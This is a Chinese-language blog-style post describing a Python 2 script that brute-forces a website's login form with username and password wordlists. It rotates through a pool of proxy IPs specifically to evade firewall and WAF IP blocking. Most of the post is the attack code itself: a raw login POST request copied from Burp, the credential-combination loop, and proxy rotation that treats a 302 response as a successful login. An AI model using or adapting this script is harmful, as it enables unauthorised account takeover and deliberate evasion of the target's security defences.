Python杂项

因为现在很多站点有防火墙、waf等安全设备，在对站点进行暴力破解时，可能存在封ip情况，所以为了能不被封ip，尝试利用代理地址切换的方式绕过防护。在写脚本时遇到以下有纠结：

1、开始打算是每个代理ip跑5次后，自动切换到下一个ip，采用的是对中需要爆破的用户名、密码进行分组，但是写完后发现，为了增加破解的准确性，每次都要验证代理ip可用性，每个相同ip可能就要验证5次，不够高效，并且可能存在代理ip地址不够情况

列表分组方法如下：

for i in range(0, len(zidian), 5):
    b.append(zidian[i:i + 5])

2、最终放弃上述方案，采用最简单的方式，循环调用代理地址池中地址，每用一次前就校验一次，最终代码如下，写的有点渣渣

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# 利用代理地址去破解账户密码
import random
import requests
import hackhttp
import time
hh=hackhttp.hackhttp()
# 暴力破解的url,直接从burp中粘贴出来就行，利用hackhttp模块
url='http://www.xxx.com/xxx/CommForm/Login.aspx'
raw_start='''POST /FrameWork/CommForm/Login.aspx HTTP/1.1
Accept: text/html, application/xhtml+xml, image/jxr, */*
Referer: http://www.xxx.com/xxxx/CommForm/Login.aspx
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Content-Length: 411
Host: www.xxx.com
Pragma: no-cache
Cookie: ASP.NET_SessionId=ydmtn0vxtjs1unfsuv1pi3iv
Connection: close

__LASTFOCUS=&__VIEWSTATE=%2FwEPDwUKMjA0NDI2OTY1NQ9kFgICAw9kFgICAQ8PFgIeBFRleHQFATBkZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAgUHaWJ0bl9PawULaWJ0bl9DYW5jZWyzzfNuUaZejEf%2F%2BIBBmJHkKiNCeA%3D%3D&__VIEWSTATEGENERATOR=856261F9&__EVENTTARGET=&__EVENTARGUMENT=&__EVENTVALIDATION=%2FwEWBQLjgtzOAwK%2FpLiVBQLy9cL8AgLln444AqjjuKwD2eR2r33WW95RWjKzdUmBzeuJoLw%3D&ibtn_Ok.x=21&ibtn_Ok.y=2'''
# # 写入用户名、密码字、代理字典路径
yonghming=open('F:\python\huwang\yonghuming.txt','r').readlines()
mima=open('F:\python\huwang\mima.txt','r').readlines()
path=open('F:\python\huwang\dailiip.txt','r').readlines()
# 提取代理IP，并验证可用性
def daili_ip(ip):
    dailiip=list()
    for i in str(ip[0]).split(','):
     ip= eval(i.strip()).split(':')[0].strip('"')+','+ eval(i.strip()).split(':')[1]
     proxy="http://"+eval(i.strip())
     dict={}
     dict['http']=proxy
     try:
         aa=requests.get('http://www.baidu.com/',proxies=dict,timeout=3)
         # print aa.status_code
     except:
         print "connect failed"
         dailiip.append(ip)
    return dailiip
# 将用户名密码拼成符合的格式
def data(path_1,path_2):
    zidian=list()
    for i in path_1:
        for i1 in path_2:
            txt_UserID='txt_UserID='+str(i).strip()
            txt_PassWord='txt_PassWord='+str(i1).strip()
            zuhe=txt_UserID+'&'+txt_PassWord
            zidian.append(zuhe)
        return zidian
# 访问网页设置代理ip
def daili(ip,data):
    proxy_str=(ip.split(',')[0],ip.split(',')[1])
    # print (proxy_str)
    try:
        # 二次验证代理IP可用性
        code, head, body, redirect, log = hh.http(url='http://www.baidu.com', proxy=proxy_str)
        print '122'
        raw_data = raw_start + data
        #利用代理进行破解
        code, head, body, redirect, log = hh.http(url=url,raw_start=raw_data,proxy=proxy_str)
        print data,code,proxy_str
        if code == 302:
            print code, data
        else:
            print code
    except:
        print 'oh no !',data,proxy_str
if __name__ == '__main__':
      zidian=data(path_1=yonghming, path_2=mima)
      dailiip=daili_ip(ip=path)
      for i in zidian:
          daili(ip=random.choice(dailiip),data=i)